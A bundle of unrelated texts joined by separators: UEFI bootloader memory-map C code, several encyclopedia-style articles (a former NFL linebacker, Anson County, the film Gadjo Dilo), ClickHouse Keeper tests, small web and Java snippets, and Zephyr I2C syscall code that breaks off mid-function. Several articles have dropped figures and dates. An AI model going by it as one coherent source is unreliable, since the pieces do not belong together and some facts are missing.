UINT32 *DescriptorVersion
)
/*++
Routine Description:
This routine returns the current memory map.
Arguments:
MemoryMapSize - Supplies a pointer where the size in bytes of the map
buffer will be returned.
MemoryMap - Supplies a pointer where a pointer to the memory map will be
returned on success. The caller is responsible for freeing this memory.
MapKey - Supplies a pointer where the map key will be returned on success.
DescriptorSize - Supplies a pointer where the firmware returns the size of
the EFI_MEMORY_DESCRIPTOR structure.
DescriptorVersion - Supplies a pointer where the firmware returns the
version number associated with the EFI_MEMORY_DESCRIPTOR structure.
Return Value:
Status code.
--*/
{
EFI_MEMORY_DESCRIPTOR *EfiMap;
UINTN EfiMapSize;
EFI_STATUS EfiStatus;
KSTATUS Status;
EfiMap = NULL;
//
// Get the memory map size.
//
EfiMapSize = 0;
BopEfiGetMemoryMap(&EfiMapSize,
NULL,
MapKey,
DescriptorSize,
DescriptorVersion);
if ((*DescriptorSize < sizeof(EFI_MEMORY_DESCRIPTOR)) ||
(EfiMapSize == 0)) {
Status = STATUS_INVALID_CONFIGURATION;
goto EfiGetEfiMemoryMap;
}
//
// Allocate enough pages to hold the entire set of EFI memory map
// descriptors.
//
EfiMapSize += EFI_EXTRA_DESCRIPTOR_COUNT * *DescriptorSize;
EfiMap = BoAllocateMemory(EfiMapSize);
if (EfiMap == NULL) {
Status = STATUS_INSUFFICIENT_RESOURCES;
goto EfiGetEfiMemoryMap;
}
EfiStatus = BopEfiGetMemoryMap(&EfiMapSize,
EfiMap,
MapKey,
DescriptorSize,
DescriptorVersion);
if (EFI_ERROR(EfiStatus)) {
Status = BopEfiStatusToKStatus(EfiStatus);
goto EfiGetEfiMemoryMap;
}
*MemoryMapSize = EfiMapSize;
Status = STATUS_SUCCESS;
EfiGetEfiMemoryMap:
if (!KSUCCESS(Status)) {
if (EfiMap != NULL) {
BoFreeMemory(EfiMap);
EfiMap = NULL;
}
}
*MemoryMap = EfiMap;
return Status;
}
//
// --------------------------------------------------------- Internal Functions
//
EFI_STATUS
BopEfiGetMemoryMap (
UINTN *MemoryMapSize,
EFI_MEMORY_DESCRIPTOR *MemoryMap,
UINTN *MapKey,
UINTN *DescriptorSize,
UINT32 *DescriptorVersion
)
/*++
Routine Description:
This routine returns the current memory map.
Arguments:
MemoryMapSize - Supplies a pointer to the size, in bytes, of the memory
map buffer. On input, this is the size of the buffer allocated by the
caller. On output, this is the size of the buffer returned by the
firmware if the buffer was large enough, or the size of the buffer
needed if the buffer was too small.
MemoryMap - Supplies a pointer to a caller-allocated buffer where the
memory map will be written on success.
MapKey - Supplies a pointer where the firmware returns the map key.
DescriptorSize - Supplies a pointer where the firmware returns the size of
the EFI_MEMORY_DESCRIPTOR structure.
DescriptorVersion - Supplies a pointer where the firmware returns the
version number associated with the EFI_MEMORY_DESCRIPTOR structure.
Return Value:
EFI status code.
--*/
{
EFI_STATUS Status;
BopEfiRestoreFirmwareContext();
Status = BoEfiBootServices->GetMemoryMap(MemoryMapSize,
MemoryMap,
MapKey,
DescriptorSize,
DescriptorVersion);
BopEfiRestoreApplicationContext();
return Status;
}
EFI_STATUS
BopEfiAllocatePages (
EFI_ALLOCATE_TYPE Type,
EFI_MEMORY_TYPE MemoryType,
UINTN Pages,
EFI_PHYSICAL_ADDRESS *Memory
)
/*++
Routine Description:
This routine allocates memory pages from the firmware.
Arguments:
Type - Supplies the allocation strategy to use.
MemoryType - Supplies the memory type of the allocation.
Pages - Supplies the number of contiguous EFI_PAGE_SIZE pages.
Memory - Supplies a pointer that on input contains a physical address whose
use depends on the allocation strategy. On output, the physical address
of the allocation will be returned.
Return Value:
EFI status code.
--*/
{
EFI_STATUS Status;
BopEfiRestoreFirmwareContext();
Status = BoEfiBootServices->AllocatePages(Type, MemoryType, Pages, Memory);
BopEfiRestoreApplicationContext();
return Status;
}
EFI_STATUS
BopEfiFreePages (
EFI_PHYSICAL_ADDRESS Memory,
UINTN Pages
)
/*++
Routine Description:
This routine frees memory pages back to the system.
Arguments:
Memory - Supplies the base physical address of the allocation to free.
Pages - Supplies the number of pages to free.
Return Value:
EFI status code.
--*/
{
EFI_STATUS Status;
BopEfiRestoreFirmwareContext();
Status = BoEfiBootServices->FreePages(Memory, Pages);
BopEfiRestoreApplicationContext();
return Status;
}
EFI_STATUS
BopEfiSetVirtualAddressMap (
UINTN MemoryMapSize,
UINTN DescriptorSize,
UINT32 DescriptorVersion,
EFI_MEMORY_DESCRIPTOR *VirtualMap
)
/*++
Routine Description:
This routine changes the runtime addressing mode of EFI firmware from
physical to virtual.
Arguments:
MemoryMapSize - Supplies the size of the virtual map.
DescriptorSize - Supplies the size of an entry in the virtual map.
DescriptorVersion - Supplies the version of the structure entries in the
virtual map.
VirtualMap - Supplies the array of memory descriptors which contain the
new virtual address mappings for all runtime ranges.
Return Value:
EFI status code.
--*/
{
EFI_STATUS Status;
BopEfiRestoreFirmwareContext();
Status = BoEfiRuntimeServices->SetVirtualAddressMap(MemoryMapSize,
DescriptorSize,
DescriptorVersion,
VirtualMap);
BopEfiRestoreApplicationContext();
return Status;
}
VOID
BopEfiDestroyDescriptorIterator (
PMEMORY_DESCRIPTOR_LIST DescriptorList,
PMEMORY_DESCRIPTOR Descriptor,
PVOID Context
)
/*++
Routine Description:
This routine is called once for each descriptor in the memory descriptor
list.
Arguments:
DescriptorList - Supplies a pointer to the descriptor list being iterated
over.
Descriptor - Supplies a pointer to the current descriptor.
Context - Supplies an optional opaque pointer of context that was provided
when the iteration was requested.
Return Value:
None.
--*/
{
UINTN PageCount;
//
// Skip any regions that aren't loader allocations.
//
if ((Descriptor->Type != MemoryTypePageTables) &&
(Descriptor->Type != MemoryTypeBootPageTables) &&
(Descriptor->Type != MemoryTypeLoaderTemporary) &&
(Descriptor->Type != MemoryTypeLoaderPermanent)) {
return;
}
ASSERT((Descriptor->Size & EFI_PAGE_MASK) == 0);
ASSERT((Descriptor->BaseAddress & EFI_PAGE_MASK) == 0);
PageCount = Descriptor->Size >> EFI_PAGE_SHIFT;
BopEfiFreePages(Descriptor->BaseAddress, PageCount);
return;
}
MEMORY_TYPE
BopEfiConvertFromEfiMemoryType (
EFI_MEMORY_TYPE EfiMemoryType
)
/*++
Routine Description:
This routine converts an EFI memory type into an OS memory type.
Arguments:
EfiMemoryType - Supplies the EFI memory type.
Return Value:
Returns a conversion of the memory type. If unknown, returns firmware
permanent memory.
--*/
{
MEMORY_TYPE Type;
Type = MemoryTypeFirmwarePermanent;
switch (EfiMemoryType) {
case EfiLoaderCode:
case EfiLoaderData:
case EfiBootServicesCode:
case EfiBootServicesData:
Type = MemoryTypeFirmwareTemporary;
break;
case EfiRuntimeServicesCode:
case EfiRuntimeServicesData:
break;
case EfiConventionalMemory:
Type = MemoryTypeFree;
break;
case EfiUnusableMemory:
Type = MemoryTypeBad;
break;
case EfiACPIReclaimMemory:
Type = MemoryTypeAcpiTables;
break;
case EfiACPIMemoryNVS:
Type = MemoryTypeAcpiNvStorage;
break;
case EfiMemoryMappedIO:
case EfiMemoryMappedIOPortSpace:
case EfiPalCode:
case EfiReservedMemoryType:
default:
break;
}
return Type;
}
BOOL
BopEfiDoMemoryTypesAgree (
EFI_MEMORY_TYPE EfiType,
MEMORY_TYPE MemoryType
)
/*++
Routine Description:
This routine determines if an EFI memory type agrees with an OS memory type.
Arguments:
EfiType - Supplies the EFI memory type.
MemoryType - Supplies the OS memory type.
Return Value:
TRUE if the OS memory type appropriately describes the EFI memory type.
FALSE otherwise.
--*/
{
BOOL Agree;
Agree = FALSE;
switch (EfiType) {
case EfiLoaderCode:
case EfiLoaderData:
case EfiBootServicesCode:
case EfiBootServicesData:
switch (MemoryType) {
case MemoryTypeFirmwareTemporary:
case MemoryTypeLoaderTemporary:
case MemoryTypeLoaderPermanent:
case MemoryTypePageTables:
case MemoryTypeBootPageTables:
Agree = TRUE;
break;
default:
break;
}
break;
case EfiRuntimeServicesCode:
case EfiRuntimeServicesData:
if ((MemoryType == MemoryTypeFirmwarePermanent) ||
(MemoryType == MemoryTypeAcpiTables)) {
Agree = TRUE;
}
break;
case EfiConventionalMemory:
if (MemoryType == MemoryTypeFree) {
Agree = TRUE;
}
break;
case EfiUnusableMemory:
if (MemoryType == MemoryTypeBad) {
Agree = TRUE;
}
break;
case EfiACPIReclaimMemory:
if (MemoryType == MemoryTypeAcpiTables) {
Agree = TRUE;
}
break;
case EfiACPIMemoryNVS:
if (MemoryType == MemoryTypeAcpiNvStorage) {
Agree = TRUE;
}
break;
case EfiMemoryMappedIO:
case EfiMemoryMappedIOPortSpace:
case EfiPalCode:
case EfiReservedMemoryType:
default:
if (MemoryType == MemoryTypeFirmwarePermanent) {
Agree = TRUE;
}
break;
}
return Agree;
}
```
|
Scot Eugene Brantley (born February 24, 1958) is an American radio and television sports broadcaster and former college and professional football player who was a linebacker in the National Football League (NFL) for eight seasons during the 1980s. Brantley played college football for the University of Florida, and thereafter, he played professionally for the Tampa Bay Buccaneers of the NFL.
Early years
Brantley was born in Chester, South Carolina in 1958. He attended Forest High School in Ocala, Florida, where he played high school football for the Forest Wildcats. Brantley was a starting linebacker on the Wildcats varsity as a freshman, and as a junior and senior, he was a member of the Wildcats' 1974 and 1975 Florida Class 3A high school state championship teams. Brantley was twice named a high school All-American by Parade magazine, and was one of the mostly highly sought-after college recruits in the country in 1975. He was also a standout outfielder for the Wildcats baseball team, and was drafted by the New York Mets despite having already signed with the Florida Gators to play college football.
In 2007, thirty-one years after he graduated from high school, the Florida High School Athletic Association (FHSAA) recognized Brantley as one of the "100 Greatest Players of the First 100 Years" of Florida high school football.
College career
Brantley accepted an athletic scholarship to attend the University of Florida in Gainesville, Florida, where he played for coach Doug Dickey and coach Charley Pell's Florida Gators football teams from 1976 to 1979. Brantley was a first-team All-Southeastern Conference (SEC) selection in 1977 and 1978 and received honorable mention All-American honors in 1977 and 1978. His senior season in 1979 was cut short by a brain injury after he was knocked unconscious in the Gators' first home game, which was a severe blow to a team in the first year of a coaching transition. Brantley led the Gators in tackles during the 1976 and 1978 seasons, and his career total of 467 tackles still ranks second on the Gators' all-time records list.
Brantley was inducted into the University of Florida Athletic Hall of Fame as a "Gator Great" in 1990, and the Florida-Georgia Hall of Fame in 2010. In a 2006 article series, the sports editors of The Gainesville Sun recognized him as No. 25 among the top 100 Gators from the first 100 Florida football seasons.
Professional career
After his college career, the Tampa Bay Buccaneers selected Brantley in the third round (seventy-sixth pick overall) of the 1980 NFL Draft, and he played linebacker for the Buccaneers for his entire eight-year NFL career from to . Brantley became a regular starter in his third season in , played in 114 games, started in seventy-one of them, and had eight interceptions in his career.
Life after the NFL
Following his professional football career, Brantley pursued a career in sports broadcasting. He has served on the Gator Radio Network as both a color analyst during games and an analyst during pre-game, half-time and post-game shows. Brantley also spent ten seasons as the broadcast partner of Gene Deckerhoff on the Buccaneers Radio Network. He now hosts a daily radio show on WHBO in Tampa, Florida every weekday afternoon.
Brantley's broadcasting career has had ups and downs. The Gators and Buccaneers both unexpectedly dropped him from their broadcast booths after the 2004 and 2005 seasons, respectively, after he had spent seven years in each of those positions. Hardy Nickerson replaced him for the Buccaneers broadcasts, while Lee McGriff took his spot when he returned to the Gators broadcasts after spending several years alongside Mick Hubert in the 1980s and 1990s. Brantley's previous radio show on WQYK was also canceled due to format changes with the station.
Brantley suffered two small strokes in 2008, and lost most of his sight in his left eye as a result. He was forced to take a leave of absence from his radio broadcasting responsibilities while recovering from the strokes and subsequent heart surgery.
In 2013, Brantley began co-hosting an afternoon drive-time show, "Sports Time!", heard on WMOP & WGGG weekdays from 4-6 p.m. His co-hosts are Steve Woodard and Mark McLeod. The stations are owned/operated by Florida Sports Talk and carry NBC Sports Radio.
In May 2018 it was revealed that Scot was suffering from Alzheimer's disease.
He was featured on an episode of Real Sports on HBO titled "Unsettled" concerning disabled NFL players unable to receive payments from the NFL concussion settlement.
Gator football family
Brantley's nephew, John Brantley, IV, was the Florida Gators' starting quarterback for the 2010 and 2011 seasons. His brother, John Brantley, III, was the Gators' starting quarterback in 1978.
See also
Florida Gators football, 1970–79
History of the Tampa Bay Buccaneers
List of Florida Gators in the NFL Draft
List of University of Florida Athletic Hall of Fame members
References
Bibliography
Carlson, Norm, University of Florida Football Vault: The History of the Florida Gators, Whitman Publishing, LLC, Atlanta, Georgia (2007). .
Golenbock, Peter, Go Gators! An Oral History of Florida's Pursuit of Gridiron Glory, Legends Publishing, LLC, St. Petersburg, Florida (2002). .
Hairston, Jack, Tales from the Gator Swamp: A Collection of the Greatest Gator Stories Ever Told, Sports Publishing, LLC, Champaign, Illinois (2002). .
McCarthy, Kevin M., Fightin' Gators: A History of University of Florida Football, Arcadia Publishing, Mount Pleasant, South Carolina (2000). .
Nash, Noel, ed., The Gainesville Sun Presents The Greatest Moments in Florida Gators Football, Sports Publishing, Inc., Champaign, Illinois (1998). .
1958 births
Living people
People from Chester, South Carolina
Players of American football from Ocala, Florida
Players of American football from South Carolina
American football linebackers
Ocala High School alumni
Florida Gators football players
Tampa Bay Buccaneers players
Baseball players from South Carolina
Florida Gators baseball players
American sports radio personalities
National Football League announcers
Tampa Bay Buccaneers announcers
|
LVJ may refer to:
Liverpool James Street railway station, Liverpool, National Rail station code
Pearland Regional Airport, Brazoria County, Texas, FAA LID airport code
|
```java
/*
*
* All rights reserved. This program and the accompanying materials
*
* path_to_url
*/
package org.locationtech.jtstest.testbuilder.ui.style;
import java.awt.Graphics2D;
import org.locationtech.jts.geom.Geometry;
import org.locationtech.jtstest.testbuilder.ui.Viewport;
public interface Style {
void paint(Geometry geom, Viewport viewport, Graphics2D g)
throws Exception;
}
```
|
Anson County is a county located in the U.S. state of North Carolina. As of the 2020 census, the population was 22,055. Its county seat is Wadesboro.
History
Anson County was originally occupied by the Catawba Siouan tribe as a vast territory with indefinite northern and western boundaries.
The county was formed in 1750 from Bladen County. It was named for George Anson, Baron Anson, a British admiral who circumnavigated the world. Anson purchased land in the state.
Reductions to its extent began in 1753, when the northern part of it became Rowan County. In 1762 the western part of Anson County became Mecklenburg County. In 1779 the northern part of what remained of Anson County became Montgomery County, and the part east of the Pee Dee River became Richmond County. Finally, in 1842 the western part of Anson County was combined with the southeastern part of Mecklenburg County to become Union County.
Geography
According to the U.S. Census Bureau, the county has a total area of , of which is land and (1.05%) is water.
National protected area
Pee Dee National Wildlife Refuge (part)
State and local protected areas/sites
Arrowhead Lake
Gaddy Covered Bridge
Pee Dee River Game Land (part)
Wadesboro Downtown Historic District
Major water bodies
Blewett Falls Lake
Brown Creek
Goulds Fork
Great Pee Dee River
Lanes Creek
Rocky River
Thoroughfare Creek
Adjacent counties
Stanly County – north
Montgomery County – northeast
Richmond County – east
Chesterfield County, South Carolina – south
Union County – west
Major highways
(future bypass of Wadesboro)
Major infrastructure
Anson County Airport
Demographics
2020 census
As of the 2020 census, there were 22,055 people, 9,521 households, and 5,809 families residing in the county.
2010 census
At the 2010 census, there were 26,948 people. The racial makeup of the county was 48.58% African American, 47.15% White American, 1.07% Asian, 0.61% Native American, 1.25% multiracial and 1.32% of other race. People of Hispanic and Latino origin account for 3.02% of the population.
2000 census
At the 2000 census, there were 25,275 people, 9,204 households, and 6,663 families residing in the county. The population density was . There were 10,221 housing units at an average density of . The racial makeup of the county was 51.64% Black or African American, 48.53% White, 0.45% Native American, 0.57% Asian, 0.02% Pacific Islander, 0.32% from other races, and 0.46% from two or more races. 0.83% of the population were Hispanic or Latino of any race.
There were 9,204 households, out of which 31.00% had children under the age of 18 living with them, 47.80% were married couples living together, 19.80% had a female householder with no husband present, and 27.60% were non-families. 25.10% of all households were made up of individuals, and 11.00% had someone living alone who was 65 years of age or older. The average household size was 2.59 and the average family size was 3.09.
In the county, the population was spread out, with 25.20% under the age of 18, 8.60% from 18 to 24, 29.00% from 25 to 44, 22.80% from 45 to 64, and 14.40% who were 65 years of age or older. The median age was 37 years. For every 100 females there were 96.50 males. For every 100 females age 18 and over, there were 95.80 males.
The median income for a household in the county was $29,849, and the median income for a family was $35,870. Males had a median income of $27,297 versus $20,537 for females. The per capita income for the county was $14,853. About 15.50% of families and 17.80% of the population were below the poverty line, including 23.90% of those under age 18 and 16.70% of those age 65 or over.
Government and politics
The board of commissioners appoint a county manager who oversees county administration and implements the policies of the board.
Anson County is a member of the regional Centralina Council of Governments.
Anson County, like several neighboring rural counties, has historically favored Democratic candidates in most elections. After 2012, Republicans enjoyed more electoral success in the region, though Anson County voted more Democratic than its neighbors. The county favored a Republican candidate for federal office in 2022—the first time since 1972.
Education
There are 11 schools in the Anson County Schools system that serve the students of the county.
South Piedmont Community College has a campus on Highway 74 near Polkton that serves Anson County residents.
Communities
Towns
Ansonville
Lilesville
McFarlan
Morven
Peachland
Polkton
Wadesboro (county seat and largest community)
Unincorporated communities
Burnsville
Fountain Hill
Lowrys
Pee Dee
Townships
Ansonville
Burnsville
Gulledge
Lanesboro
Lilesville
Morven
Wadesboro
White Store
Ghost town
Sneedsboro
Population ranking
The population ranking is based on a 2023 estimate of Anson County.
† = county seat
Notable people
Stephone Anthony (born 1992), linebacker with the New Orleans Saints of the NFL
Hugh Hammond Bennett (1881–1960), soil conservation specialist
John Culpepper (1761–1841), United States Congressman from North Carolina, and long-tenured Baptist minister
Blind Boy Fuller (1907–1941), American blues guitarist and vocalist
James Holland (1754–1823), United States Congressman from North Carolina
Juanita Moody (1924–2015), cryptographer whose intelligence gathering contributed greatly during the Cuban Missile Crisis
Leonidas Lafayette Polk (1837–1892), first North Carolina Commissioner of Agriculture
Sylvester Ritter (1952–1998), professional wrestler also known as "The Junkyard Dog" or "JYD"
In popular culture
Steven Spielberg filmed The Color Purple mostly in Lilesville, and a large white farmhouse (the Huntley House, which is located in Lilesville and is an old farmhouse located few miles off U.S. Route 74) was used extensively as the main exterior location in that film.
See also
List of counties in North Carolina
National Register of Historic Places listings in Anson County, North Carolina
Anson County Regiment, militia in the American Revolution
References
Works cited
External links
1750 establishments in North Carolina
Populated places established in 1750
Majority-minority counties in North Carolina
|
The Crazy Stranger (original title: Gadjo dilo – Romanes for "Crazy Gadjo") is a 1997 French-Romanian film directed and written by Tony Gatlif. Most of the film was shot at the village of Crețulești some kilometers from Bucharest and some of the actors are local Romani people.
Plot
Stéphane, a young French man from Paris, travels to Romania. He is looking for the singer Nora Luca, whom his father had heard all the time before his death. Wandering along a frozen road, he meets old Izidor, a Rom and tries to tell him of Nora Luca. Drunken Izidor only hears the handful of Romani words and takes Stéphane to his village, determined to teach the boy the Romani language. Stéphane believes that Izidor will take him to Nora Luca when the time has come, so he lives in the Roma village for several months in Izidor's house, as Izidor's son Adriani has been arrested. Izidor is happy to have him as a guest, calling him "his Frenchman" and fixing the young wanderer's worn-out shoes. The other Roma dislike Stéphane at first, insulting him in their language and believing him to be a lunatic, tricking him into saying rude words and even into entering a tent where women are bathing. Stéphane gradually wins them over by showing his respect for their music and culture and is rewarded with an intimate look into every aspect of Roma life, from a raucous wedding to a bittersweet funeral. The only person in the village who speaks any French is the young Sabina, a divorced Romani dancer who is blatantly hostile towards him at first, but the pair eventually bond through a series of trips across the countryside to record traditional Romani music.
One day, just as the pair are beginning to make love for the first time, Adriani returns after many months in jail. The village rejoices, but the men soon have to leave to work at a performance and the two lovebirds sneak off to be together. While they are away, Adriani goes to the local bar, where he murders a man that he accuses of being responsible for his imprisonment. Adriani escapes, but a mob follows him and burns the village to the ground, killing him. Stéphane and Sabina return to find the smoldering ruins and are both devastated. They hurry to the concert venue and tell Izidor, who races outside and begs the earth to open and reunite him with his son.
Stéphane leaves the village and drives to the mile marker where the film opened. Grief-stricken, he smashes all the tapes he recorded during his travels with Sabina on the stone marker and buries them. He then drinks from a vodka bottle, spills some on the "grave" of the tapes, lays the bottle of the "grave" and then dances as Izidor did at his brother's funeral. A shot of the back of the car reveals Sabina sleeping in the back seat. She wakes up, notices the impromptu "funeral" that Stéphane is holding and smiles before the screen fades to black.
Cast
Romain Duris as Stéphane
Rona Hartner as Sabina
Izidor Serban as Izidor
Ovidiu Balan as Sami
Angela Serban as Angela
Adrian Minune as the child prodigy
Mónika Juhász Miczura provides the voice of Nora Luca (unseen in the film)
Naomy as Marian
Themes
Prejudice and racism is a major theme in Gadjo Dilo. The Romani people, so often accused of numerous crimes and demonized by outsiders, are shown as predominantly positive, yet wronged figures. They at first fear Stéphane, accusing him much in the way they themselves are accused by the local non-Roma, fearing he will steal from them or kidnap the children (both are racist stereotypes falsely associated with Romani people). Initially, their fears seem absurd, yet it becomes clear that these are the very prejudices that Romani people must endure every day.
Music plays another major role in the film, echoing Gatlif's magnum opus, Latcho Drom. Stéphane cannot communicate with the Roma without help and vice versa, but his passion for their music helps the lack of communication and aids in healing their prejudices.
Accolades
Locarno International Film Festival in 1997: Silver Leopard for best movie, bronze Leopard and special prize to Rona Hartner
Nominated for César Award for Most Promising Actor (Romain Duris) and César Award for Most Promising Actress (Rona Hartner) and won César Award for Best Original Music at the 24th César Awards in 1999
In Thessaloniki, Greece, the film, translated in Greek as Gadjo Dilo: There still are smiling Gypsies won a prize in the 41st Thessaloniki Film Festival in 1998.
Tromsø International Film Festival – Audience Award
Connections
In 2006, Gatlif directed Transylvania. This time it is an Italian woman who travels from France to Romanian Transylvania to find her lover, a Romani musician.
References
External links
1997 films
Romani-language films
1990s French-language films
1990s Romanian-language films
1990s musical comedy-drama films
Films directed by Tony Gatlif
Lionsgate films
Romanian musical comedy-drama films
French musical comedy-drama films
1997 comedy films
1997 drama films
1997 multilingual films
Romanian multilingual films
French multilingual films
1990s French films
|
```python
#!/usr/bin/env python3
import pytest
from helpers.cluster import ClickHouseCluster
import helpers.keeper_utils as keeper_utils
import random
import string
import os
from kazoo.client import KazooClient
cluster = ClickHouseCluster(__file__)
# clickhouse itself will use external zookeeper
node = cluster.add_instance(
"node",
main_configs=["configs/enable_keeper.xml"],
stay_alive=True,
)
def random_string(length):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=length))
def create_random_path(prefix="", depth=1):
if depth == 0:
return prefix
return create_random_path(os.path.join(prefix, random_string(3)), depth - 1)
@pytest.fixture(scope="module")
def started_cluster():
try:
cluster.start()
yield cluster
finally:
cluster.shutdown()
def get_connection_zk(nodename, timeout=30.0):
_fake_zk_instance = KazooClient(
hosts=cluster.get_instance_ip(nodename) + ":9181", timeout=timeout
)
_fake_zk_instance.start()
return _fake_zk_instance
def restart_clickhouse():
node.restart_clickhouse(kill=True)
keeper_utils.wait_until_connected(cluster, node)
def test_state_after_restart(started_cluster):
keeper_utils.wait_until_connected(started_cluster, node)
node_zk = None
node_zk2 = None
try:
node_zk = get_connection_zk("node")
node_zk.create("/test_state_after_restart", b"somevalue")
strs = []
for i in range(100):
strs.append(random_string(123).encode())
node_zk.create("/test_state_after_restart/node" + str(i), strs[i])
existing_children = []
for i in range(100):
if i % 7 == 0:
node_zk.delete("/test_state_after_restart/node" + str(i))
else:
existing_children.append("node" + str(i))
restart_clickhouse()
node_zk2 = get_connection_zk("node")
assert node_zk2.get("/test_state_after_restart")[0] == b"somevalue"
for i in range(100):
if i % 7 == 0:
assert (
node_zk2.exists("/test_state_after_restart/node" + str(i)) is None
)
else:
data, stat = node_zk2.get("/test_state_after_restart/node" + str(i))
assert len(data) == 123
assert data == strs[i]
assert stat.ephemeralOwner == 0
assert list(sorted(existing_children)) == list(
sorted(node_zk2.get_children("/test_state_after_restart"))
)
finally:
try:
if node_zk is not None:
node_zk.stop()
node_zk.close()
if node_zk2 is not None:
node_zk2.stop()
node_zk2.close()
except:
pass
def test_ephemeral_after_restart(started_cluster):
keeper_utils.wait_until_connected(started_cluster, node)
node_zk = None
node_zk2 = None
try:
node_zk = get_connection_zk("node")
session_id = node_zk._session_id
node_zk.create("/test_ephemeral_after_restart", b"somevalue")
strs = []
for i in range(100):
strs.append(random_string(123).encode())
node_zk.create(
"/test_ephemeral_after_restart/node" + str(i), strs[i], ephemeral=True
)
existing_children = []
for i in range(100):
if i % 7 == 0:
node_zk.delete("/test_ephemeral_after_restart/node" + str(i))
else:
existing_children.append("node" + str(i))
restart_clickhouse()
node_zk2 = get_connection_zk("node")
assert node_zk2.get("/test_ephemeral_after_restart")[0] == b"somevalue"
for i in range(100):
if i % 7 == 0:
assert (
node_zk2.exists("/test_ephemeral_after_restart/node" + str(i))
is None
)
else:
data, stat = node_zk2.get("/test_ephemeral_after_restart/node" + str(i))
assert len(data) == 123
assert data == strs[i]
assert stat.ephemeralOwner == session_id
assert list(sorted(existing_children)) == list(
sorted(node_zk2.get_children("/test_ephemeral_after_restart"))
)
finally:
try:
if node_zk is not None:
node_zk.stop()
node_zk.close()
if node_zk2 is not None:
node_zk2.stop()
node_zk2.close()
except:
pass
def test_invalid_snapshot(started_cluster):
keeper_utils.wait_until_connected(started_cluster, node)
node_zk = None
try:
node_zk = get_connection_zk("node")
node_zk.create("/test_invalid_snapshot", b"somevalue")
keeper_utils.send_4lw_cmd(started_cluster, node, "csnp")
node.stop_clickhouse()
snapshots = (
node.exec_in_container(["ls", "/var/lib/clickhouse/coordination/snapshots"])
.strip()
.split("\n")
)
def snapshot_sort_key(snapshot_name):
snapshot_prefix_size = len("snapshot_")
last_log_idx = snapshot_name.split(".")[0][snapshot_prefix_size:]
return int(last_log_idx)
snapshots.sort(key=snapshot_sort_key)
last_snapshot = snapshots[-1]
node.exec_in_container(
[
"truncate",
"-s",
"0",
f"/var/lib/clickhouse/coordination/snapshots/{last_snapshot}",
]
)
node.start_clickhouse(start_wait_sec=120, expected_to_fail=True)
assert node.contains_in_log(
"Aborting because of failure to load from latest snapshot with index"
)
node.stop_clickhouse()
node.exec_in_container(
[
"rm",
f"/var/lib/clickhouse/coordination/snapshots/{last_snapshot}",
]
)
node.start_clickhouse()
finally:
try:
if node_zk is not None:
node_zk.stop()
node_zk.close()
except:
pass
def test_snapshot_size(started_cluster):
keeper_utils.wait_until_connected(started_cluster, node)
node_zk = None
try:
node_zk = get_connection_zk("node")
node_zk.create("/test_state_size", b"somevalue")
strs = []
for i in range(100):
strs.append(random_string(123).encode())
node_zk.create("/test_state_size/node" + str(i), strs[i])
node_zk.stop()
node_zk.close()
keeper_utils.send_4lw_cmd(started_cluster, node, "csnp")
node.wait_for_log_line("Created persistent snapshot")
def get_snapshot_size():
return int(
next(
filter(
lambda line: "zk_latest_snapshot_size" in line,
keeper_utils.send_4lw_cmd(started_cluster, node, "mntr").split(
"\n"
),
)
).split("\t")[1]
)
assert get_snapshot_size() != 0
restart_clickhouse()
assert get_snapshot_size() != 0
finally:
try:
if node_zk is not None:
node_zk.stop()
node_zk.close()
except:
pass
```
|
```xml
export type EventType =
| 'addItem'
| 'removeItem'
| 'highlightItem'
| 'unhighlightItem'
| 'choice'
| 'change'
| 'search'
| 'showDropdown'
| 'hideDropdown'
| 'highlightChoice';
```
|
Anna Rogers and Christina Rosca are the defending champions but Rosca chose not to participate. Rogers played alongside Alana Smith, but lost in the first round to Jaeda Daniel and McCartney Kessler.
Jana Kolodynska and Tatiana Prozorova won the title, defeating Sofia Sewing and Anastasia Tikhonova in the final, 6–3, 6–2.
Seeds
Draw
Draw
References
External links
Main Draw
Mercer Tennis Classic - Doubles
|
Hudson City School District is a school district in Hudson, New York, U.S.A.
It operates the following schools:
Hudson High School
Hudson Junior High School
Montgomery C. Smith Elementary School
John L. Edwards Primary School (building closed)
Greenport Elementary School (building closed and for sale)
Alternative Learning Program (closed due to budget cuts and closure of Greenport)
External links
Hudson City School District
School districts in New York (state)
Education in Columbia County, New York
|
```javascript
export * from '../../export.js';
```
|
```css
/* [project]/turbopack/crates/turbopack-tests/tests/snapshot/css/css-legacy-nesting/input/style.css [test] (css) */
.prose :where(table):not(:where([class~="not-prose"], [class~="not-prose"] *)) {
text-wrap: initial;
}
.prose :where(table):not(:where([class~="not-prose"], [class~="not-prose"] *)) tr td:first-child {
text-wrap: nowrap;
}
.prose :where(code):not(:where([class~="not-prose"], [class~="not-prose"] *)) {
text-wrap: nowrap;
}
/*# sourceMappingURL=your_sha256_hashng_input_style_7d7e1c.css.map*/
```
|
```c
/*
*
*/
#include <zephyr/drivers/i2c.h>
#include <string.h>
#include <zephyr/internal/syscall_handler.h>
static inline int z_vrfy_i2c_configure(const struct device *dev,
uint32_t dev_config)
{
K_OOPS(K_SYSCALL_DRIVER_I2C(dev, configure));
return z_impl_i2c_configure((const struct device *)dev, dev_config);
}
#include <zephyr/syscalls/i2c_configure_mrsh.c>
static inline int z_vrfy_i2c_get_config(const struct device *dev,
uint32_t *dev_config)
{
K_OOPS(K_SYSCALL_DRIVER_I2C(dev, get_config));
K_OOPS(K_SYSCALL_MEMORY_WRITE(dev_config, sizeof(uint32_t)));
return z_impl_i2c_get_config(dev, dev_config);
}
#include <zephyr/syscalls/i2c_get_config_mrsh.c>
static uint32_t copy_msgs_and_transfer(const struct device *dev,
const struct i2c_msg *msgs,
uint8_t num_msgs,
uint16_t addr)
{
struct i2c_msg copy[num_msgs];
uint8_t i;
/* Use a local copy to avoid switcheroo attacks. */
memcpy(copy, msgs, num_msgs * sizeof(*msgs));
/* Validate the buffers in each message struct. Read options require
* that the target buffer be writable
*/
for (i = 0U; i < num_msgs; i++) {
K_OOPS(K_SYSCALL_MEMORY(copy[i].buf, copy[i].len,
copy[i].flags & I2C_MSG_READ));
}
return z_impl_i2c_transfer(dev, copy, num_msgs, addr);
}
static inline int z_vrfy_i2c_transfer(const struct device *dev,
struct i2c_msg *msgs, uint8_t num_msgs,
uint16_t addr)
{
K_OOPS(K_SYSCALL_OBJ(dev, K_OBJ_DRIVER_I2C));
/* copy_msgs_and_transfer() will allocate a copy on the stack using
* VLA, so ensure this won't blow the stack. Most functions defined
* in i2c.h use only a handful of messages, so up to 32 messages
* should be more than sufficient.
*/
